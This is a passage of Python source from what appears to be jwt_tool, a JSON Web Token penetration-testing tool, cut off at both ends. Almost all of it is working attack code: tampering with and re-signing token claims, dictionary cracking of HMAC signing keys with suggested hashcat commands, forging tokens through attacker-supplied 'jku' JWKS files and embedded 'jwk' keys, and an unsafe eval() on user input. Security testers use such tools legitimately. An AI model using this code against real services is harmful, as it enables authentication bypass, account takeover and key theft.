paylList.append(pair) 421 | i += 1 422 | cprintc("["+str(i+1)+"] *ADD A VALUE*", "white") 423 | cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white") 424 | if len(comparestamps) > 0: 425 | cprintc("["+str(i+3)+"] *UPDATE TIMESTAMPS*", "white") 426 | cprintc("[0] Continue to next step", "white") 427 | selection = "" 428 | cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white") 429 | try: 430 | selection = int(input("> ")) 431 | except: 432 | cprintc("Invalid selection", "red") 433 | exit(1) 434 | if selection0: 435 | if isinstance(paylDict[paylList[selection]], dict): 436 | cprintc("\nPlease select a sub-field number for the "+str(paylList[selection])+" claim:\n(or 0 to Continue)", "white") 437 | newVal = OrderedDict() 438 | for subclaim in paylDict[paylList[selection]]: 439 | newVal[subclaim] = paylDict[paylList[selection]][subclaim] 440 | newVal = buildSubclaim(newVal, paylList, selection) 441 | paylDict[paylList[selection]] = newVal 442 | else: 443 | cprintc("\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]]), "white") 444 | cprintc("Please enter new value and hit ENTER", "white") 445 | newVal = input("> ") 446 | paylDict[paylList[selection]] = castInput(newVal) 447 | elif selection == i+1: 448 | cprintc("Please enter new Key and hit ENTER", "white") 449 | newPair = input("> ") 450 | cprintc("Please enter new value for "+newPair+" and hit ENTER", "white") 451 | newVal = input("> ") 452 | try: 453 | newVal = int(newVal) 454 | except: 455 | pass 456 | paylList.append(newPair) 457 | paylDict[paylList[selection]] = castInput(newVal) 458 | elif selection == i+2: 459 | cprintc("Please select a Key to DELETE and hit ENTER", "white") 460 | i = 0 461 | for pair in paylDict: 462 | menuNum = i+1 463 | cprintc("["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair]), "white") 464 | paylList.append(pair) 465 | i += 1 466 | delPair = eval(input("> ")) 467 | del paylDict[paylList[delPair]] 468 | elif selection == i+3: 469 | cprintc("Timestamp updating:", "white") 470 | cprintc("[1] Update earliest timestamp to current time (keeping offsets)", "white") 471 | cprintc("[2] Add 1 hour to timestamps", "white") 472 | cprintc("[3] Add 1 day to timestamps", "white") 473 | cprintc("[4] Remove 1 hour from timestamps", "white") 474 | cprintc("[5] Remove 1 day from timestamps", "white") 475 | cprintc("\nPlease select an option from above (1-5):", "white") 476 | try: 477 | selection = int(input("> ")) 478 | except: 479 | cprintc("Invalid selection", "red") 480 | exit(1) 481 | if selection == 1: 482 | nowtime = int(datetime.now().timestamp()) 483 | timecomp = {} 484 | for timestamp in comparestamps: 485 | timecomp[timestamp] = paylDict[timestamp] 486 | earliest = min(timecomp, key=timecomp.get) 487 | earlytime = paylDict[earliest] 488 | for timestamp in comparestamps: 489 | if timestamp == earliest: 490 | paylDict[timestamp] = nowtime 491 | else: 492 | difftime = int(paylDict[timestamp])-int(earlytime) 493 | paylDict[timestamp] = nowtime+difftime 494 | elif selection == 2: 495 | for timestamp in comparestamps: 496 | newVal = int(paylDict[timestamp])+3600 497 | paylDict[timestamp] = newVal 498 | elif selection == 3: 499 | for timestamp in comparestamps: 500 | newVal = int(paylDict[timestamp])+86400 501 | paylDict[timestamp] = newVal 502 | elif selection == 4: 503 | for timestamp in comparestamps: 504 | newVal = int(paylDict[timestamp])-3600 505 | paylDict[timestamp] = newVal 506 | elif selection == 5: 507 | for timestamp in comparestamps: 508 | newVal = int(paylDict[timestamp])-86400 509 | paylDict[timestamp] = newVal 510 | else: 511 | cprintc("Invalid selection", "red") 512 | exit(1) 513 | elif selection == 0: 514 | break 515 | else: 516 | exit(1) 517 | if config['argvals']['sigType'] == "" and config['argvals']['exploitType'] == "": 518 | cprintc("Signature unchanged - no signing method specified (-S or -X)", "cyan") 519 | newContents = genContents(headDict, paylDict) 520 | desc = "Tampered token:" 521 | jwtOut(newContents+"."+sig, "Manual Tamper - original signature", desc) 522 | elif config['argvals']['exploitType'] != "": 523 | runExploits() 524 | elif config['argvals']['sigType'] != "": 525 | signingToken(headDict, paylDict) 526 | 527 | def signingToken(newheadDict, newpaylDict): 528 | if config['argvals']['sigType'][0:2] == "hs": 529 | key = "" 530 | if args.password: 531 | key = config['argvals']['key'] 532 | elif args.keyfile: 533 | key = open(config['argvals']['keyFile']).read() 534 | newSig, newContents = signTokenHS(newheadDict, newpaylDict, key, int(config['argvals']['sigType'][2:])) 535 | desc = "Tampered token - HMAC Signing:" 536 | jwtOut(newContents+"."+newSig, "Manual Tamper - HMAC Signing", desc) 537 | elif config['argvals']['sigType'][0:2] == "rs": 538 | newSig, newContents = signTokenRSA(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:])) 539 | desc = "Tampered token - RSA Signing:" 540 | jwtOut(newContents+"."+newSig, "Manual Tamper - RSA Signing", desc) 541 | elif config['argvals']['sigType'][0:2] == "es": 542 | newSig, newContents = signTokenEC(newheadDict, newpaylDict, config['crypto']['ecprivkey'], int(config['argvals']['sigType'][2:])) 543 | desc = "Tampered token - EC Signing:" 544 | jwtOut(newContents+"."+newSig, "Manual Tamper - EC Signing", desc) 545 | elif config['argvals']['sigType'][0:2] == "ps": 546 | newSig, newContents = signTokenPSS(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:])) 547 | desc = "Tampered token - PSS RSA Signing:" 548 | jwtOut(newContents+"."+newSig, "Manual Tamper - PSS RSA Signing", desc) 549 | 550 | def checkSig(sig, contents, key): 551 | quiet = False 552 | if key == "": 553 | cprintc("Type in the key to test", "white") 554 | key = input("> ") 555 | testKey(key.encode(), sig, contents, headDict, quiet) 556 | 557 | def checkSigKid(sig, contents): 558 | quiet = False 559 | cprintc("\nLoading key file...", "cyan") 560 | try: 561 | key1 = open(config['argvals']['keyFile']).read() 562 | cprintc("File loaded: "+config['argvals']['keyFile'], "cyan") 563 | testKey(key1.encode(), sig, contents, headDict, quiet) 564 | except: 565 | cprintc("Could not load key file", "red") 566 | exit(1) 567 | 568 | def crackSig(sig, contents): 569 | quiet = True 570 | if headDict["alg"][0:2] != "HS": 571 | cprintc("Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.", "red") 572 | return 573 | # print("\nLoading key dictionary...") 574 | try: 575 | # cprintc("File loaded: "+config['argvals']['keyList'], "cyan") 576 | keyLst = open(config['argvals']['keyList'], "r", encoding='utf-8', errors='ignore') 577 | nextKey = keyLst.readline() 578 | except: 579 | cprintc("No dictionary file loaded", "red") 580 | exit(1) 581 | # print("Testing passwords in dictionary...") 582 | utf8errors = 0 583 | wordcount = 0 584 | while nextKey: 585 | wordcount += 1 586 | try: 587 | cracked = testKey(nextKey.strip().encode('UTF-8'), sig, contents, headDict, quiet) 588 | except: 589 | cracked = False 590 | if not cracked: 591 | if wordcount % 1000000 == 0: 592 | cprintc("[*] Tested "+str(int(wordcount/1000000))+" million passwords so far", "cyan") 593 | try: 594 | nextKey = keyLst.readline() 595 | except: 596 | utf8errors += 1 597 | nextKey = keyLst.readline() 598 | else: 599 | return 600 | if cracked == False: 601 | cprintc("[-] Key not in dictionary", "red") 602 | if not args.mode: 603 | cprintc("\n===============================\nAs your list wasn't able to crack this token you might be better off using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6\n===============================\n", "cyan") 604 | if utf8errors > 0: 605 | cprintc(utf8errors, " UTF-8 incompatible passwords skipped", "cyan") 606 | 607 | def castInput(newInput): 608 | if "{" in str(newInput): 609 | try: 610 | jsonInput = json.loads(newInput) 611 | return jsonInput 612 | except ValueError: 613 | pass 614 | if "\"" in str(newInput): 615 | return newInput.strip("\"") 616 | elif newInput == "True" or newInput == "true": 617 | return True 618 | elif newInput == "False" or newInput == "false": 619 | return False 620 | elif newInput == "null": 621 | return None 622 | else: 623 | try: 624 | numInput = float(newInput) 625 | try: 626 | intInput = int(newInput) 627 | return intInput 628 | except: 629 | return numInput 630 | except: 631 | return str(newInput) 632 | return newInput 633 | 634 | def buildSubclaim(newVal, claimList, selection): 635 | while True: 636 | subList = [0] 637 | s = 0 638 | for subclaim in newVal: 639 | subNum = s+1 640 | cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white") 641 | s += 1 642 | subList.append(subclaim) 643 | cprintc("["+str(s+1)+"] *ADD A VALUE*", "white") 644 | cprintc("["+str(s+2)+"] *DELETE A VALUE*", "white") 645 | cprintc("[0] Continue to next step", "white") 646 | try: 647 | subSel = int(input("> ")) 648 | except: 649 | cprintc("Invalid selection", "red") 650 | exit(1) 651 | if subSel<=len(newVal) and subSel>0: 652 | selClaim = subList[subSel] 653 | cprintc("\nCurrent value of "+selClaim+" is: "+str(newVal[selClaim]), "white") 654 | cprintc("Please enter new value and hit ENTER", "white") 655 | newVal[selClaim] = castInput(input("> ")) 656 | cprintc("", "white") 657 | elif subSel == s+1: 658 | cprintc("Please enter new Key and hit ENTER", "white") 659 | newPair = input("> ") 660 | cprintc("Please enter new value for "+newPair+" and hit ENTER", "white") 661 | newVal[newPair] = castInput(input("> ")) 662 | elif subSel == s+2: 663 | cprintc("Please select a Key to DELETE and hit ENTER", "white") 664 | s = 0 665 | for subclaim in newVal: 666 | subNum = s+1 667 | cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white") 668 | subList.append(subclaim) 669 | s += 1 670 | try: 671 | selSub = int(input("> ")) 672 | except: 673 | cprintc("Invalid selection", "red") 674 | exit(1) 675 | delSub = subList[selSub] 676 | del newVal[delSub] 677 | elif subSel == 0: 678 | return newVal 679 | 680 | def testKey(key, sig, contents, headDict, quiet): 681 | if headDict["alg"] == "HS256": 682 | testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).decode('UTF-8').strip("=") 683 | elif headDict["alg"] == "HS384": 684 | testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).decode('UTF-8').strip("=") 685 | elif headDict["alg"] == "HS512": 686 | testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).decode('UTF-8').strip("=") 687 | else: 688 | cprintc("Algorithm is not HMAC-SHA - cannot test with this tool.", "red") 689 | exit(1) 690 | if testSig == sig: 691 | cracked = True 692 | if len(key) > 25: 693 | cprintc("[+] CORRECT key found:\n"+key.decode('UTF-8'), "green") 694 | else: 695 | cprintc("[+] "+key.decode('UTF-8')+" is the CORRECT key!", "green") 696 | cprintc("You can tamper/fuzz the token contents (-T/-I) and sign it using:\npython3 jwt_tool.py [options here] -S "+str(headDict["alg"]).lower()+" -p \""+key.decode('UTF-8')+"\"", "cyan") 697 | return cracked 698 | else: 699 | cracked = False 700 | if quiet == False: 701 | if len(key) > 25: 702 | cprintc("[-] "+key[0:25].decode('UTF-8')+"...(output trimmed) is not the correct key", "red") 703 | else: 704 | cprintc("[-] "+key.decode('UTF-8')+" is not the correct key", "red") 705 | return cracked 706 | 707 | def getRSAKeyPair(): 708 | #config['crypto']['pubkey'] = config['crypto']['pubkey'] 709 | privkey = config['crypto']['privkey'] 710 | cprintc("key: "+privkey, "cyan") 711 | privKey = RSA.importKey(open(privkey).read()) 712 | pubKey = privKey.publickey().exportKey("PEM") 713 | #config['crypto']['pubkey'] = RSA.importKey(config['crypto']['pubkey']) 714 | return pubKey, privKey 715 | 716 | def newRSAKeyPair(): 717 | new_key = RSA.generate(2048, e=65537) 718 | pubKey = new_key.publickey().exportKey("PEM") 719 | privKey = new_key.exportKey("PEM") 720 | return pubKey, privKey 721 | 722 | def newECKeyPair(): 723 | new_key = ECC.generate(curve='P-256') 724 | pubkey = new_key.public_key().export_key(format="PEM") 725 | privKey = new_key.export_key(format="PEM") 726 | return pubkey, privKey 727 | 728 | def signTokenHS(headDict, paylDict, key, hashLength): 729 | newHead = headDict 730 | newHead["alg"] = "HS"+str(hashLength) 731 | if hashLength == 384: 732 | newContents = genContents(newHead, paylDict) 733 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha384).digest()).decode('UTF-8').strip("=") 734 | elif hashLength == 512: 735 | newContents = genContents(newHead, paylDict) 736 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha512).digest()).decode('UTF-8').strip("=") 737 | else: 738 | newContents = genContents(newHead, paylDict) 739 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=") 740 | return newSig, newContents 741 | 742 | def buildJWKS(n, e, kid): 743 | newjwks = {} 744 | newjwks["kty"] = "RSA" 745 | newjwks["kid"] = kid 746 | newjwks["use"] = "sig" 747 | newjwks["e"] = str(e.decode('UTF-8')) 748 | newjwks["n"] = str(n.decode('UTF-8').rstrip("=")) 749 | return newjwks 750 | 751 | def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"): 752 | newHead = headDict 753 | nowtime = str(int(datetime.now().timestamp())) 754 | key = RSA.importKey(open(config['crypto']['privkey']).read()) 755 | pubKey = key.publickey().exportKey("PEM") 756 | privKey = key.export_key(format="PEM") 757 | new_key = RSA.importKey(pubKey) 758 | n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big')) 759 | e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big')) 760 | privKeyName = config['crypto']['privkey'] 761 | newjwks = buildJWKS(n, e, kid) 762 | newHead["jku"] = jku 763 | newHead["alg"] = "RS256" 764 | key = RSA.importKey(privKey) 765 | newContents = genContents(newHead, paylDict) 766 | newContents = newContents.encode('UTF-8') 767 | h = SHA256.new(newContents) 768 | signer = PKCS1_v1_5.new(key) 769 | try: 770 | signature = signer.sign(h) 771 | except: 772 | cprintc("Invalid Private Key", "red") 773 | exit(1) 774 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") 775 | jwksout = json.dumps(newjwks,separators=(",",":"), indent=4) 776 | jwksbuild = {"keys": []} 777 | jwksbuild["keys"].append(newjwks) 778 | fulljwks = json.dumps(jwksbuild,separators=(",",":"), indent=4) 779 | if config['crypto']['jwks'] == "": 780 | jwksName = "jwks_jwttool_RSA_"+nowtime+".json" 781 | with open(jwksName, 'w') as test_jwks_out: 782 | test_jwks_out.write(fulljwks) 783 | else: 784 | jwksName = config['crypto']['jwks'] 785 | return newSig, newContents.decode('UTF-8'), jwksout, privKeyName, jwksName, fulljwks 786 | 787 | def jwksEmbed(newheadDict, newpaylDict): 788 | newHead = newheadDict 789 | pubKey, privKey = getRSAKeyPair() 790 | new_key = RSA.importKey(pubKey) 791 | n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big')) 792 | e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big')) 793 | newjwks = buildJWKS(n, e, config['customising']['jwks_kid']) 794 | newHead["jwk"] = newjwks 795 | newHead["alg"] = "RS256" 796 | 797 | if "kid" in newHead: 798 | newHead["kid"] = "jwt_tool" 799 | 800 | key = privKey 801 | # key = RSA.importKey(privKey) 802 | newContents = genContents(newHead, newpaylDict) 803 | newContents = newContents.encode('UTF-8') 804 | h = SHA256.new(newContents) 805 | signer = PKCS1_v1_5.new(key) 806 | try: 807 | signature = signer.sign(h) 808 | except: 809 | cprintc("Invalid Private Key", "red") 810 | exit(1) 811 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") 812 | return newSig, newContents.decode('UTF-8') 813 | 814 | def signTokenRSA(headDict, paylDict, privKey, hashLength): 815 | newHead = headDict 816 | newHead["alg"] = "RS"+str(hashLength) 817 | key = RSA.importKey(open(config['crypto']['privkey']).read()) 818 | newContents = genContents(newHead, paylDict) 819 | newContents = newContents.encode('UTF-8') 820 | if hashLength == 256: 821 | h = SHA256.new(newContents) 822 | elif hashLength == 384: 823 | h = SHA384.new(newContents) 824 | elif hashLength == 512: 825 | h = SHA512.new(newContents) 826 | else: 827 | cprintc("Invalid RSA hash length", "red") 828 | exit(1) 829 | signer = PKCS1_v1_5.new(key) 830 | try: 831 | signature = signer.sign(h) 832 | except: 833 | cprintc("Invalid Private Key", "red") 834 | exit(1) 835 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") 836 | return newSig, newContents.decode('UTF-8') 837 | 838 | def signTokenEC(headDict, paylDict, privKey, hashLength): 839 | newHead = headDict 840 | newHead["alg"] = "ES"+str(hashLength) 841 | key = ECC.import_key(open(config['crypto']['ecprivkey']).read()) 842 | newContents = genContents(newHead, paylDict) 843 | newContents = newContents.encode('UTF-8') 844 | if hashLength == 256: 845 | h = SHA256.new(newContents) 846 | elif hashLength == 384: 847 | h = SHA384.new(newContents) 848 | elif hashLength == 512: 849 | h = SHA512.new(newContents) 850 | else: 851 | cprintc("Invalid hash length", "red") 852 | exit(1) 853 | signer = DSS.new(key, 'fips-186-3') 854 | try: 855 | signature = signer.sign(h) 856 | except: 857 | cprintc("Invalid Private Key", "red") 858 | exit(1) 859 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") 860 | return newSig, newContents.decode('UTF-8') 861 | 862 | def signTokenPSS(headDict, paylDict, privKey, hashLength): 863 | newHead = headDict 864 | newHead["alg"] = "PS"+str(hashLength) 865 | key = RSA.importKey(open(config['crypto']['privkey']).read()) 866 | newContents = genContents(newHead, paylDict) 867 | newContents = newContents.encode('UTF-8') 868 | if hashLength == 256: 869 | h = SHA256.new(newContents) 870 | elif hashLength == 384: 871 | h = SHA384.new(newContents) 872 | elif hashLength == 512: 873 | h = SHA512.new(newContents) 874 | else: 875 | cprintc("Invalid RSA hash length", "red") 876 | exit(1) 877 | try: 878 | signature = pss.new(key).sign(h) 879 | except: 880 | cprintc("Invalid Private Key", "red") 881 | exit(1) 882 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") 883 | return newSig, newContents.decode('UTF-8') 884 | 885 | def verifyTokenRSA(headDict, paylDict, sig, pubKey): 886 | key = RSA.importKey(open(pubKey).read()) 887 | newContents = genContents(headDict, paylDict) 888 | newContents = newContents.encode('UTF-8') 889 | if "-" in sig: 890 | try: 891 | sig = base64.urlsafe_b64decode(sig) 892 | except: 893 | pass 894 | try: 895 | sig = base64.urlsafe_b64decode(sig+"=") 896 | except: 897 | pass 898 | try: 899 | sig = base64.urlsafe_b64decode(sig+"==") 900 | except: 901 | pass 902 | elif "+" in sig: 903 | try: 904 | sig = base64.b64decode(sig) 905 | except: 906 | pass 907 | try: 908 | sig = base64.b64decode(sig+"=") 909 | except: 910 | pass 911 | try: 912 | sig = base64.b64decode(sig+"==") 913 | except: 914 | pass 915 | else: 916 | cprintc("Signature not Base64 encoded HEX", "red") 917 | if headDict['alg'] == "RS256": 918 | h = SHA256.new(newContents) 919 | elif headDict['alg'] == "RS384": 920 | h = SHA384.new(newContents) 921 | elif headDict['alg'] == "RS512": 922 | h = SHA512.new(newContents) 923 | else: 924 | cprintc("Invalid RSA algorithm", "red") 925 | verifier = PKCS1_v1_5.new(key) 926 | try: 927 | valid = verifier.verify(h, sig) 928 | if valid: 929 | cprintc("RSA Signature is VALID", "green") 930 | valid = True 931 | else: 932 | cprintc("RSA Signature is INVALID", "red") 933 | valid = False 934 | except: 935 | cprintc("The Public Key is invalid", "red") 936 | return valid 937 | 938 | def verifyTokenEC(headDict, paylDict, sig, pubKey): 939 | newContents = genContents(headDict, paylDict) 940 | message = newContents.encode('UTF-8') 941 | if "-" in str(sig): 942 | try: 943 | signature = base64.urlsafe_b64decode(sig) 944 | except: 945 | pass 946 | try: 947 | signature = base64.urlsafe_b64decode(sig+"=") 948 | except: 949 | pass 950 | try: 951 | signature = base64.urlsafe_b64decode(sig+"==") 952 | except: 953 | pass 954 | elif "+" in str(sig): 955 | try: 956 | signature = base64.b64decode(sig) 957 | except: 958 | pass 959 | try: 960 | signature = base64.b64decode(sig+"=") 961 | except: 962 | pass 963 | try: 964 | signature = base64.b64decode(sig+"==") 965 | except: 966 | pass 967 | else: 968 | cprintc("Signature not Base64 encoded HEX", "red") 969 | if headDict['alg'] == "ES256": 970 | h = SHA256.new(message) 971 | elif headDict['alg'] == "ES384": 972 | h = SHA384.new(message) 973 | elif headDict['alg'] == "ES512": 974 | h = SHA512.new(message) 975 | else: 976 | cprintc("Invalid ECDSA algorithm", "red") 977 | pubkey = open(pubKey, "r") 978 | pub_key = ECC.import_key(pubkey.read()) 979 | verifier = DSS.new(pub_key, 'fips-186-3') 980 | try: 981 | verifier.verify(h, signature) 982 | cprintc("ECC Signature is VALID", "green") 983 | valid = True 984 | except: 985 | cprintc("ECC Signature is INVALID", "red") 986 | valid = False 987 | return valid 988 | 989 | def verifyTokenPSS(headDict, paylDict, sig, pubKey): 990 | key = RSA.importKey(open(pubKey).read()) 991 | newContents = genContents(headDict, paylDict) 992 | newContents = newContents.encode('UTF-8') 993 | if "-" in sig: 994 | try: 995 | sig = base64.urlsafe_b64decode(sig) 996 | except: 997 | pass 998 | try: 999 | sig = base64.urlsafe_b64decode(sig+"=") 1000 | except: 1001 | pass 1002 | try: 1003 | sig = base64.urlsafe_b64decode(sig+"==") 1004 | except: 1005 | pass 1006 | elif "+" in sig: 1007 | try: 1008 | sig = base64.b64decode(sig) 1009 | except: 1010 | pass 1011 | try: 1012 | sig = base64.b64decode(sig+"=") 1013 | except: 1014 | pass 1015 | try: 1016 | sig = base64.b64decode(sig+"==") 1017 | except: 1018 | pass 1019 | else: 1020 | cprintc("Signature not Base64 encoded HEX", "red") 1021 | if headDict['alg'] == "PS256": 1022 | h = SHA256.new(newContents) 1023 | elif headDict['alg'] == "PS384": 1024 | h = SHA384.new(newContents) 1025 | elif headDict['alg'] == "PS512": 1026 | h = SHA512.new(newContents) 1027 | else: 1028 | cprintc("Invalid RSA algorithm", "red") 1029 | verifier = pss.new(key) 1030 | try: 1031 | valid = verifier.verify(h, sig) 1032 | cprintc("RSA-PSS Signature is VALID", "green") 1033 | valid = True 1034 | except: 1035 | cprintc("RSA-PSS Signature is INVALID", "red") 1036 | valid = False 1037 | return valid 1038 | 1039 | def exportJWKS(jku): 1040 | try: 1041 | kid = headDict["kid"] 1042 | newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, config['crypto']['privkey'], kid) 1043 | except: 1044 | kid = "" 1045 | newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, config['crypto']['privkey']) 1046 | return newContents, newSig 1047 | 1048 | def parseJWKS(jwksfile): 1049 | jwks = open(jwksfile, "r").read() 1050 | jwksDict = json.loads(jwks, object_pairs_hook=OrderedDict) 1051 | nowtime = int(datetime.now().timestamp()) 1052 | cprintc("JWKS Contents:", "cyan") 1053 | try: 1054 | keyLen = len(jwksDict["keys"]) 1055 | cprintc("Number of keys: "+str(keyLen), "cyan") 1056 | i = -1 1057 | for jkey in range(0,keyLen): 1058 | i += 1 1059 | cprintc("\n--------", "white") 1060 | try: 1061 | cprintc("Key "+str(i+1), "cyan") 1062 | kid = str(jwksDict["keys"][i]["kid"]) 1063 | cprintc("kid: "+kid, "cyan") 1064 | except: 1065 | kid = i 1066 | cprintc("Key "+str(i+1), "cyan") 1067 | for keyVal in jwksDict["keys"][i].items(): 1068 | keyVal = keyVal[0] 1069 | cprintc("[+] "+keyVal+" = "+str(jwksDict["keys"][i][keyVal]), "green") 1070 | try: 1071 | x = str(jwksDict["keys"][i]["x"]) 1072 | y = str(jwksDict["keys"][i]["y"]) 1073 | cprintc("\nFound ECC key factors, generating a public key", "cyan") 1074 | pubkeyName = genECPubFromJWKS(x, y, kid, nowtime) 1075 | cprintc("[+] "+pubkeyName, "green") 1076 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan") 1077 | valid = verifyTokenEC(headDict, paylDict, sig, pubkeyName) 1078 | except: 1079 | pass 1080 | try: 1081 | n = str(jwksDict["keys"][i]["n"]) 1082 | e = str(jwksDict["keys"][i]["e"]) 1083 | cprintc("\nFound RSA key factors, generating a public key", "cyan") 1084 | pubkeyName = genRSAPubFromJWKS(n, e, kid, nowtime) 1085 | cprintc("[+] "+pubkeyName, "green") 1086 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan") 1087 | valid = verifyTokenRSA(headDict, paylDict, sig, pubkeyName) 1088 | except: 1089 | pass 1090 | except: 1091 | cprintc("Single key file", "white") 1092 | for jkey in jwksDict: 1093 | cprintc("[+] "+jkey+" = "+str(jwksDict[jkey]), "green") 1094 | try: 1095 | kid = 1 1096 | x = str(jwksDict["x"]) 1097 | y = str(jwksDict["y"]) 1098 | cprintc("\nFound ECC key factors, generating a public key", "cyan") 1099 | pubkeyName = genECPubFromJWKS(x, y, kid, nowtime) 1100 | cprintc("[+] "+pubkeyName, "green") 1101 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan") 1102 | valid = verifyTokenEC(headDict, paylDict, sig, pubkeyName) 1103 | except: 1104 | pass 1105 | try: 1106 | kid = 1 1107 | n = str(jwksDict["n"]) 1108 | e = str(jwksDict["e"]) 1109 | cprintc("\nFound RSA key factors, generating a public key", "cyan") 1110 | pubkeyName = genRSAPubFromJWKS(n, e, kid, nowtime) 1111 | cprintc("[+] "+pubkeyName, "green") 1112 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan") 1113 | valid = verifyTokenRSA(headDict, paylDict, sig, pubkeyName) 1114 | except: 1115 | pass 1116 | 1117 | def genECPubFromJWKS(x, y, kid, nowtime): 1118 | try: 1119 | x = int.from_bytes(base64.urlsafe_b64decode(x), byteorder='big') 1120 | except: 1121 | pass 1122 | try: 1123 | x = int.from_bytes(base64.urlsafe_b64decode(x+"="), byteorder='big') 1124 | except: 1125 | pass 1126 | try: 1127 | x = int.from_bytes(base64.urlsafe_b64decode(x+"=="), byteorder='big') 1128 | except: 1129 | pass 1130 | try: 1131 | y = int.from_bytes(base64.urlsafe_b64decode(y), byteorder='big') 1132 | except: 1133 | pass 1134 | try: 1135 | y = int.from_bytes(base64.urlsafe_b64decode(y+"="), byteorder='big') 1136 | except: 1137 | pass 1138 | try: 1139 | y = int.from_bytes(base64.urlsafe_b64decode(y+"=="), byteorder='big') 1140 | except: 1141 | pass 1142 | new_key = ECC.construct(curve='P-256', point_x=x, point_y=y) 1143 | pubKey = new_key.public_key().export_key(format="PEM")+"\n" 1144 | pubkeyName = "kid_"+str(kid)+"_"+str(nowtime)+".pem" 1145 | with open(pubkeyName, 'w') as test_pub_out: 1146 | test_pub_out.write(pubKey) 1147 | return pubkeyName 1148 | 1149 | def genRSAPubFromJWKS(n, e, kid, nowtime): 1150 | try: 1151 | n = int.from_bytes(base64.urlsafe_b64decode(n), byteorder='big') 1152 | except: 1153 | pass 1154 | try: 1155 | n = int.from_bytes(base64.urlsafe_b64decode(n+"="), byteorder='big') 1156 | except: 1157 | pass 1158 | try: 1159 | n = int.from_bytes(base64.urlsafe_b64decode(n+"=="), byteorder='big') 1160 | except: 1161 | pass 1162 | try: 1163 | e = int.from_bytes(base64.urlsafe_b64decode(e), byteorder='big') 1164 | except: 1165 | pass 1166 | try: 1167 | e = int.from_bytes(base64.urlsafe_b64decode(e+"="), byteorder='big') 1168 | except: 1169 | pass 1170 | try: 1171 | e = int.from_bytes(base64.urlsafe_b64decode(e+"=="), byteorder='big') 1172 | except: 1173 | pass 1174 | new_key = RSA.construct((n, e)) 1175 | pubKey = new_key.publickey().exportKey(format="PEM") 1176 | pubkeyName = "kid_"+str(kid)+"_"+str(nowtime)+".pem" 1177 | with open(pubkeyName, 'w') as test_pub_out: 1178 | test_pub_out.write(pubKey.decode()+"\n") 1179 | return pubkeyName 1180 | 1181 | def getVal(promptString): 1182 | newVal = input(promptString) 1183 | try: 1184 | newVal = json.loads(newVal) 1185 | except ValueError: 1186 | try: 1187 | newVal = json.loads(newVal.replace("'", '"')) 1188 | except ValueError: 1189 | pass 1190 | return newVal 1191 | 1192 | def genContents(headDict, paylDict, newContents=""): 1193 | if paylDict == {}: 1194 | newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"." 1195 | else: 1196 | newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") 1197 | return newContents.encode().decode('UTF-8') 1198 | 1199 | def dissectPayl(paylDict, count=False): 1200 | timeseen = 0 1201 | comparestamps = [] 1202 | countval = 0 1203 | expiredtoken = False 1204 | nowtime = int(datetime.now().timestamp()) 1205 | for claim in paylDict: 1206 | countval += 1 1207 | if count: 1208 | placeholder = str(countval) 1209 | else: 1210 | placeholder = "+" 1211 | if claim in ["exp", "nbf", "iat"]: 1212 | timestamp = datetime.fromtimestamp(int(paylDict[claim])) 1213 | if claim == "exp": 1214 | if int(timestamp.timestamp()) < nowtime: 1215 | expiredtoken = True 1216 | cprintc("["+placeholder+"] "+claim+" = "+str(paylDict[claim])+" ==> TIMESTAMP = "+timestamp.strftime('%Y-%m-%d %H:%M:%S')+" (UTC)", "green") 1217 | timeseen += 1 1218 | comparestamps.append(claim) 1219 | elif isinstance(paylDict[claim], dict): 1220 | cprintc("["+placeholder+"] "+claim+" = JSON object:", "green") 1221 | for subclaim in paylDict[claim]: 1222 | if type(castInput(paylDict[claim][subclaim])) == str: 1223 | cprintc(" [+] "+subclaim+" = 